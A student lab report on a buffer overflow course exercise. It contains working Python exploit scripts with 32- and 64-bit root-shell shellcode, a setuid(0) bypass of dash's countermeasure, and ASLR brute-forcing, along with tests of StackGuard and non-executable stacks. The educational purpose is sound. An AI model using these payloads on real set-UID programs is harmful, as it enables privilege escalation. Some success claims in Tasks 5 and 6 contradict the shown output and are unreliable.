Buffer Overflow Attack Lab (Set-UID)

Maryam Fahmi (501096276)

Sidra Musheer (501122840)

Veezish Ahmad (501080184)

Section 10

CPS 633 - Computer Security

Toronto Metropolitan University

Task 1: Running 32-bit and 64-bit shellcode:

1. 32-bit - observe below that it creates a new shell that runs linux commands :

```
[10/29/24]seed@VM:~/.../shellcode$ ./a32.out
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$ cat Makefile

all:
        gcc -m32 -z execstack -o a32.out call_shellcode.c
        gcc -z execstack -o a64.out call_shellcode.c

setuid:
        gcc -m32 -z execstack -o a32.out call_shellcode.c
        gcc -z execstack -o a64.out call_shellcode.c
        sudo chown root a32.out a64.out
        sudo chmod 4755 a32.out a64.out

clean:
        rm -f a32.out a64.out *.o
```

2. 64-bit - works similarity to 32-bit shellcode:

```
[10/29/24]seed@VM:~/.../shellcode$ ./a64.out
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$ cat Makefile

all:
        gcc -m32 -z execstack -o a32.out call_shellcode.c
        gcc -z execstack -o a64.out call_shellcode.c

setuid:
        gcc -m32 -z execstack -o a32.out call_shellcode.c
        gcc -z execstack -o a64.out call_shellcode.c
        sudo chown root a32.out a64.out
        sudo chmod 4755 a32.out a64.out

clean:
        rm -f a32.out a64.out *.o
```

Task 2: Exploiting Vulnerability

Steps Taken

- Run the Makefile in the code file in order to turn off “StackGuard” and make program a root-owned SetUID program

Observations

- Each compiled binary with varying buffer sizes allows testing of buffer overflow vulnerability.
- Disabling StackGuard and enabling executable stacks prepares the program for exploitation, aiming to achieve root access by overflowing the buffer in stack.c.

Output

```
[10/29/24]seed@VM:~/.../Labsetup$ ls code
brute-force.sh  exploit.py  Makefile  stack.c
[10/29/24]seed@VM:~/.../Labsetup$ cd code
[10/29/24]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg sta
ck.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg sta
ck.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
```

Task 3: Launching attack on 32-bit program

1. Find the distance between buffer starting position and place where return address is stored:

```
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Downloads/Labsetup/code/stack-L1-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb68 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf50 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf58 --> 0xffffd188 --> 0x0
ESP: 0xffffcb4c --> 0x565563ee (<dummy_function+62>:    add    esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562a4 <frame_dummy+4>:  jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:  mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32
   0x565562b1 <bof+4>:  push   ebp
   0x565562b2 <bof+5>:  mov    ebp,esp
   0x565562b4 <bof+7>:  push   ebx
   0x565562b5 <bof+8>:  sub    esp,0x74
[------------------------------------stack-------------------------------------]
0000| 0xffffcb4c --> 0x565563ee (<dummy_function+62>:    add    esp,0x10)
0004| 0xffffcb50 --> 0xffffcf73 --> 0x456
0008| 0xffffcb54 --> 0x0
0012| 0xffffcb58 --> 0x3e8
0016| 0xffffcb5c --> 0x565563c3 (<dummy_function+19>:    add    eax,0x2bf5)
0020| 0xffffcb60 --> 0x0
0024| 0xffffcb64 --> 0x0
0028| 0xffffcb68 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xffffcf73 "V\004") at stack.c:16
16      {
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf50 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcb48 --> 0xffffcf58 --> 0xffffd188 --> 0x0
ESP: 0xffffcad0 ("1pUVd\317\377\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
EIP: 0x565562c2 (<bof+21>:      sub    esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:  sub    esp,0x74
   0x565562b8 <bof+11>: call   0x565563f7 <__x86.get_pc_thunk.ax>
   0x565562bd <bof+16>: add    eax,0x2cfb
=> 0x565562c2 <bof+21>: sub    esp,0x8
   0x565562c5 <bof+24>: push   DWORD PTR [ebp+0x8]
   0x565562c8 <bof+27>: lea    edx,[ebp-0x6c]
   0x565562cb <bof+30>: push   edx
   0x565562cc <bof+31>: mov    ebx,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcad0 ("1pUVd\317\377\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
0004| 0xffffcad4 --> 0xffffcf64 --> 0x0
0008| 0xffffcad8 --> 0xf7ffd590 --> 0xf7fd1000 --> 0x464c457f
0012| 0xffffcadc --> 0xf7fcb3e0 --> 0xf7ffd990 --> 0x56555000 --> 0x464c457f
0016| 0xffffcae0 --> 0x0
0020| 0xffffcae4 --> 0x0
0024| 0xffffcae8 --> 0x0
0028| 0xffffcaec --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb48
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffcadc
gdb-peda$ quit
```

2. Change the exploit.py code to allow for buffer overflow attack:

```
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0"
  "\x50"
  "\x68\x2f\x2f\x73\x68"
  "\x68\x2f\x62\x69\x6e"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\x31"
  "\xd2\x31"
  "\xc0\xb0\x0b\xcd\x80"
  ).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

######################################################################
# Put the shellcode somewhere in the payload
start = 400
content[start: start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret       = 0xffffcb48 + 200
offset = 112

L = 4    # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
######################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

3. How to choose our values:
    a. **Shellcode:** In the shellcode variable we inserted the shellcode provided in the first task, using the 32-bit version for this attack.
    b. **Shellcode Start Position (start = 400):**
    Setting start to 400 means we're placing the shellcode 400 bytes into our 517-byte buffer. This position allows the first 400 bytes to be filled with NOP instructions, creating a "NOP sled." The NOP sled makes it easier for the program to "slide" into the shellcode if it doesn't jump to the exact start. Placing the shellcode here gives it a safe space to execute without risk of overwriting important data, while leaving enough room after for the return address we want to overwrite.
    c. **Return Address Offset (offset = 112):**
    The offset value of 112 is how far from the start of our buffer we need to go to reach the saved return address in memory. This is calculated by finding the difference between ebp (the base pointer) and buffer (where the buffer begins), plus 4 bytes to cover the exact location of the return address. By targeting this offset, we can overwrite the return address directly, which is key to redirecting the program's execution.
    d. **Return Address (ret = ebp + 100):**
    The ret value, ebp + 100, points to an address within the buffer where our shellcode sits. By adding 100 to ebp, we make sure the return address lands somewhere within our NOP sled, so the program is directed into the shellcode itself. This way, when the function "returns," it jumps straight into our code, giving us control over the program's next actions.

Output

```
$2 = (char (*)[100]) 0xffffcadc
gdb-peda$ p/d
$3 = -13604
gdb-peda$ p/d 0xffffcb48-0xffffcadc
$4 = 108
gdb-peda$ quit
[11/05/24]seed@VM:~/.../code$ gedit exploit.py
[11/05/24]seed@VM:~/.../code$ ./\exploit.py
[11/05/24]seed@VM:~/.../code$ ./exploit.py
[11/05/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# ls
Makefile                        stack-L2
badfile                         stack-L2-dbg
brute-force.sh                  stack-L3
exploit.py                      stack-L3-dbg
peda-session-stack-L1-dbg.txt   stack-L4
stack-L1                        stack-L4-dbg
stack-L1-dbg                    stack.c
# 
```

Task 4: Launching a 32 bit attack without knowing buffer size

1. Get the buffer location (we will not derive edp as that would give us the size):

```
   0x565562d1 <bof+36>: push   edx
   0x565562d2 <bof+37>: mov    ebx,eax
[----------------------------------stack-------
-------------------------]
0000| 0xffffcaa0 --> 0x0
0004| 0xffffcaa4 --> 0x0
0008| 0xffffcaa8 --> 0xf7fb4f20 --> 0x0
0012| 0xffffcaac --> 0x7d4
0016| 0xffffcab0 ("0pUV.pUVh\317\377\377")
0020| 0xffffcab4 (".pUVh\317\377\377")
0024| 0xffffcab8 --> 0xffffcf68 --> 0x205
0028| 0xffffcabc --> 0x0
[----------------------------------------------
-------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p &buffer
$1 = (char (*)[160]) 0xffffcaa0
gdb-peda$ quit
[11/05/24]seed@VM:~/.../code$ gedit exploit.py
```

2. Code for task 4 attack:

```
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0"
  "\x50"
  "\x68\x2f\x2f\x73\x68"
  "\x68\x2f\x62\x69\x6e"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\x31"
  "\xd2\x31"
  "\xc0\xb0\x0b\xcd\x80"
  ).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
# start = 400               # Change this number
content[517 - len(shellcode):] = shellcode
```

```
# Decide the return address value
# and put it somewhere in the payload
ret =  0xffffcb48
# offset = 112            # Change this number

L = 4    # Use 4 for 32-bit address and 8 for 64-bit address

for offset in range(50):
    content[offset * L:offset * 4 + L] = (ret).to_bytes(L,byteorder='little')
####################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

3. Explanation on how we got our values and the changes we made:
    a. Commenting Out start = 400: We commented out start = 400 and used 517 - len(shellcode) to dynamically position the shellcode at the end of the buffer. This change ensures that our shellcode is correctly placed no matter the buffer size, making our code more adaptable to different situations within the 100-200 byte buffer range.
    b. Adjusting the Return Address (ret): In our code, we removed the offset of +200 from the return address. By using ret = 0xffffcb48, we made the return address fixed, which simplifies the payload construction and ensures consistency across different buffer sizes. This approach avoids the need to calculate the exact return address for each possible buffer size.
    c. Modifying the Offset Loop: We changed the offset logic from a fixed value of 112 to a loop that places the return address at multiple positions in the buffer. This ensures that the payload works for various buffer sizes, with the return address being written at different locations. The loop helps cover different buffer sizes within the given range by trying multiple positions, improving the robustness of the attack.
    d. Dynamic Return Address Placement: Instead of placing the return address at a single fixed offset, we iterated through multiple potential offsets within the buffer using a loop. This approach helps accommodate the uncertainty of the exact buffer size and allows the payload to work for any buffer size in the range from 100 to 200 bytes. The loop makes our code more flexible and effective in varying scenarios.
    e. Eliminating Hard Coded Buffer Size: We avoided using a hardcoded buffer size and instead applied a more flexible approach to address the buffer's size dynamically. By doing this, our code adapts to different buffer sizes between 100 and 200 bytes, ensuring the exploit remains functional across a wider range of environments without manually adjusting for each size.

Output:

```
[11/05/24]seed@VM:~/.../code$ gedit exploit.py
[11/05/24]seed@VM:~/.../code$ ./exploit.py
[11/05/24]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# cd

cd: HOME not set
# ls

Makefile                          stack-L2
badfile                           stack-L2-dbg
brute-force.sh                    stack-L3
exploit.py                        stack-L3-dbg
peda-session-stack-L1-dbg.txt     stack-L4
peda-session-stack-L2-dbg.txt     stack-L4-dbg
stack-L1                          stack.c
stack-L1-dbg
# 
```

Task 5: Launching Attack on 64-bit Program

1. Putting As in badfile to observe register behavior:

```
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd988 ('A' <repeats 200 times>...)
RIP: 0x55555555525e (<bof+53>:  ret)
```

2. Getting rdp and buffer values:

```
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffd990:
 rip = 0x55555555523f in bof (stack.c:20); saved rip = 0x55555555535c
 called by frame at 0x7fffffffdda0
 source language c.
 Arglist at 0x7fffffffd898, args: str=0x7fffffffddb0 '\220' <repeats 48 times>, "\060\331\377\377\377\177"
 Locals at 0x7fffffffd898, Previous frame's sp is 0x7fffffffd990
 Saved registers:
  rbp at 0x7fffffffd980, rip at 0x7fffffffd988
gdb-peda$ p &buffer
$3 = (char (*)[200]) 0x7fffffffd8b0
```

3. Code for 64-bit launch attack:

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffffd8b0 + 128          # Change this number
offset = 48              # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

4. Explanation of necessary changes:
    a. Shellcode Positioning: We set start = 400 for the shellcode, ensuring a predictable, fixed location. This reduces uncertainty and maximizes the space for our NOP sled, helping the return address smoothly reach the shellcode.
    b. NOP Sled: Filling the buffer with 0x90 creates a NOP sled, which allows the return address to land anywhere in this area and still reach the shellcode. It's a buffer overflow tactic to increase execution reliability.
    c. Return Address Calculation: We used ret = 0x7fffffffd930 to land within the NOP sled. This increases the chances of hitting the sled, even if the address isn't perfect, ensuring a smooth path to the shellcode.
    d. Offset Adjustment: The offset = 48 ensures our overwrite lands directly on the saved return address. It's set based on stack alignment and buffer layout to precisely reach the target.
    e. Address Size (64-bit): Setting L = 8 aligns with 64-bit address size. This is essential for proper memory alignment on a 64-bit system, as 4-byte addresses could cause errors.
    f. Switching to 64-bit Shellcode: We updated the shellcode from 32-bit to 64-bit instructions to match the 64-bit system environment. Using 32-bit shellcode on a 64-bit system could lead to execution errors or crashes, so adapting the shellcode ensures it's compatible and executable on the target machine.

Output

Returns successfully and gives root

```
[11/06/24]seed@VM:~/.../code$ ./stack-L3
Input size: 517
==== Returned Properly ====
```

Task 6: Launching Attack on 64-bit Program (very small buffer size)

Steps Taken

1. Analyzed stack-L4 with buffer size of 10, posing overflow challenge.
2. Crafted payload to fit within small buffer on 64-bit system.
3. Adjusted shellcode and return address for limited space.
4. Compiled with -fno-stack-protector and -z execstack to disable protections.
5. Launched attack, achieved root shell; documented solutions for buffer constraints if encountered.

Get rbp and buffer values

```
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffd990:
 rip = 0x555555555239 in bof (stack.c:20); saved rip = 0x555555555350
 called by frame at 0x7fffffffdda0
 source language c.
 Arglist at 0x7fffffffd958, args: str=0x7fffffffddb0 '\220' <repeats 48 times>, "\060\331\377\377\377\177"
 Locals at 0x7fffffffd958, Previous frame's sp is 0x7fffffffd990
 Saved registers:
  rbp at 0x7fffffffd980, rip at 0x7fffffffd988
gdb-peda$ p &buffer
$1 = (char (*)[10]) 0x7fffffffd976
```

Code for 64 bit buffer overflow

```python
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number
content[start:start + len(shellcode):] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffffd980 + 120        # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
addr = (ret).to_bytes(L,byteorder='little')
content[0 :15] = addr * 2
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Comparison of Code Changes and Explanation

Stack Frame Analysis: The gdb output shows rbp and buffer values, which helped in identifying the exact memory layout and target addresses for the exploit. The rbp (base pointer) value was essential to determine where to redirect the return address to execute the shellcode.

1. **Shellcode**:
    - **Previous Code**: Used basic 64-bit shellcode for privilege escalation.
    - **Current Code**: Optimized and concise shellcode, still in 64-bit, specifically tuned for setuid(0) and shell execution. This change was necessary to fit within the limited buffer space.
2. **NOP Sled (content):**
    - **Previous Code**: Used a standard NOP sled of 517 bytes.
    - **Current Code**: Retained the 517-byte NOP sled, which maximizes the landing area, making it easier for the return address to slide into the shellcode.
3. **Start Position (start):**
    - **Previous Code**: Inserted shellcode at a different start value.
    - **Current Code**: Set start = 400 to align the shellcode location optimally within the buffer, ensuring it doesn't overlap crucial memory areas and remains reachable.
4. **Return Address (**ret**)**:
    - **Previous Code**: Used a different address offset.
    - **Current Code**: Set ret = 0x7fffffffd8b0 + 128 to precisely target the start of the NOP sled in this new context, maximizing reliability in reaching the shellcode.

Observations

- The adjustments allowed the exploit to work despite the small buffer size by aligning the shellcode, NOP sled, and return address carefully.
- These changes enabled the payload to fit within the limited space while still achieving a reliable root shell execution.

Output

```
[11/06/24]seed@VM:~/.../code$ ./exploit.py
[11/06/24]seed@VM:~/.../code$ ./stack-L4
Input size: 517
==== Returned Properly ====
```

Task 7: Defeating dash's Countermeasure

Steps Taken

1. Edited shellcode in call_shellcode.c to include setuid(0) system call for privilege escalation.
2. Compiled the call_shellcode.c program with gcc using the -z execstack flag to allow executable stacks.
3. Created a symbolic link to set /bin/sh back to /bin/dash.
4. Updated shellcode to set the real UID to zero (setuid(0)) before invoking execve() to bypass (defeat) the countermeasure.
5. Ran the exploit on Level 1 with the countermeasure enabled.

Observations

- **Root Access Achieved**: Successfully achieved root access by bypassing the countermeasure using setuid(0).
- **Effectiveness of setuid(0)**: Including setuid(0) in shellcode bypassed the privilege-dropping feature of /bin/dash, confirming the attack's success in elevating privileges.
- **Countermeasure Bypass**: The real UID was made equal to the effective UID, effectively neutralizing the countermeasure in dash shell.

Changes to shellcode.c file -

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =

        #if __x86_64__
        //Binary code for setuid(0)
          "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"

          "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
          "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
          "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
        #else
        //Binary code for setuid(0)
          "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"

          "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
          "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
          "\xd2\x31\xc0\xb0\x0b\xcd\x80"
        #endif;

int main(int argc, char **argv)
        {
          char code[500];

          strcpy(code, shellcode);
          int (*func)() = (int(*)())code;

          func();
          return 1;
        }
```

Changes to exploit.py (running attack again with 32 bit binary code) -

```
#!/usr/bin/python3
import sys
# Replace the content with the actual shellcode
shellcode= (

        # Binary code for setuid(0)
          "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"

          "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
          "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
          "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number
content[start: start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcb48 + 200

offset = 112              # Change this number

L = 4    # Use 4 for 32-bit address and 8 for 64-bit address

content[offset: offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
   f.write(content)
```

Output

Running attack with binary code setuid(0) included -

```
[11/05/24]seed@VM:~/.../shellcode$ gedit call_shellcod
e.c
[11/05/24]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[11/05/24]seed@VM:~/.../shellcode$ ./a32.out
# ls
Makefile  a32.out  a64.out  call_shellcode.c
# whoami
root
# exit
[11/05/24]seed@VM:~/.../shellcode$ ./a64.out
# whoami
root
# ls
Makefile  a32.out  a64.out  call_shellcode.c
# exit
```

Running attack without binary code setuid(0) -

```
[11/05/24]seed@VM:~/.../shellcode$ gedit call_shellcod
e.c
[11/05/24]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[11/05/24]seed@VM:~/.../shellcode$ ./a32.out
$ whoami
seed
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$ exit
[11/05/24]seed@VM:~/.../shellcode$ ./a64.out
$ whoami
seed
$ ls
Makefile  a32.out  a64.out  call_shellcode.c
$ exit
```

Running attack again with 32 bit setuid(0) code included (stack-L1 attack) -

```
[11/05/24]seed@VM:~/.../code$ gedit exploit.py
[11/05/24]seed@VM:~/.../code$ ./exploit.py
[11/05/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
# ls
Makefile                        stack-L1-dbg
badfile                         stack-L2
brute-force.sh                  stack-L2-dbg
exploit.py                      stack-L3
peda-session-stack-L1-dbg.txt   stack-L3-dbg
peda-session-stack-L2-dbg.txt   stack-L4
peda-session-stack-L3.txt       stack-L4-dbg
stack-L1                        stack.c
# exit
```

Task 8: Defeating Address Randomization

- Enabled address randomization on the system using the command: sudo /sbin/sysctl -w kernel.randomize_va_space=2.
- Used a shell script to launch the stack-L1 program in an infinite loop, which repeatedly attempted the attack.
- The script incremented the attempt counter (value) and displayed the elapsed time for each iteration.
- Each time, the program ran with a different random address and the loop continued until the attack succeeded

Observation

While address randomization increases the difficulty of the attack by making the stack base address unpredictable, the brute-force method remains effective. The attack eventually succeeds after trying a number of possible addresses, with the script running until the correct address is found, indicating that the randomization can be bypassed with enough attempts.

Output

```
The program has been running 12197 times so far.
Input size: 517
./brute-force.sh: line 14: 19512 Segmentation fault
    ./stack-L1
0 minutes and 39 seconds elapsed.
The program has been running 12198 times so far.
Input size: 517
./brute-force.sh: line 14: 19513 Segmentation fault
    ./stack-L1
0 minutes and 39 seconds elapsed.
The program has been running 12199 times so far.
Input size: 517
./brute-force.sh: line 14: 19514 Segmentation fault
    ./stack-L1
0 minutes and 39 seconds elapsed.
The program has been running 12200 times so far.
Input size: 517
# whoami
root
#
```

Task 9: Experimenting with Other Countermeasures

Turned off address randomization from previous task (randomize space returns back to 0) and commented out stack-protector in Makefile to turn off stack guard.

```
[11/05/24]seed@VM:~/.../code$ sudo /sbin/sysctl -w ker
nel.randomize_va_space=0
kernel.randomize_va_space = 0
[11/05/24]seed@VM:~/.../code$ ./exploit.py
[11/05/24]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# ls
Makefile                          stack-L1-dbg
badfile                           stack-L2
brute-force.sh                    stack-L2-dbg
exploit.py                        stack-L3
peda-session-stack-L1-dbg.txt     stack-L3-dbg
peda-session-stack-L2-dbg.txt     stack-L4
peda-session-stack-L3.txt         stack-L4-dbg
stack-L1                          stack.c
#
```

a) Turn on the StackGuard Protection

1. **Disable Address Randomization**: Set kernel.randomize_va_space=0 to keep memory addresses consistent.
2. **Compile Without StackGuard**: Compiled stack.c with -fno-stack-protector to confirm a successful attack.
3. **Enable StackGuard**: Recompiled stack.c without -fno-stack-protector, activating StackGuard.
4. **Run Exploit**: Executed ./stack-L1 < badfile, resulting in "stack smashing detected" error, preventing the attack.

Observation: StackGuard detected the overflow and terminated the program, blocking unauthorized access.

```
[11/05/24]seed@VM:~/.../code$ gcc -z execstack -o stack-L1 stack.c
[11/05/24]seed@VM:~/.../code$ file stack-L1
stack-L1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynam
ically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4
e9e1becbdc16e70b929c5d4b6665980710203c5, for GNU/Linux 3.2.0, not strip
ped
[11/05/24]seed@VM:~/.../code$ ./exploit.py
[11/05/24]seed@VM:~/.../code$ ./stack-L1 < badfile
Input size: 517
*** stack smashing detected ***: terminated
Aborted
```

b) Turn on the Non-executable Stack Protection

1. **Compile with Non-executable Stack**: Recompiled call_shellcode.c as a32.out and a64.out with -z noexecstack.

2. **Run Shellcode**: Executed ./a32.out and ./a64.out, both resulting in segmentation faults.

Observation: Non-executable stack prevented shellcode execution, effectively blocking the attack by causing segmentation faults.

```
[11/05/24]seed@VM:~/.../code$ cd ..
[11/05/24]seed@VM:~/.../Labsetup$ cd shellcode
[11/05/24]seed@VM:~/.../shellcode$ gcc -m32 -o a32.out call_shellcode.c
[11/05/24]seed@VM:~/.../shellcode$ gcc -o a64.out call_shellcode.c
[11/05/24]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[11/05/24]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
```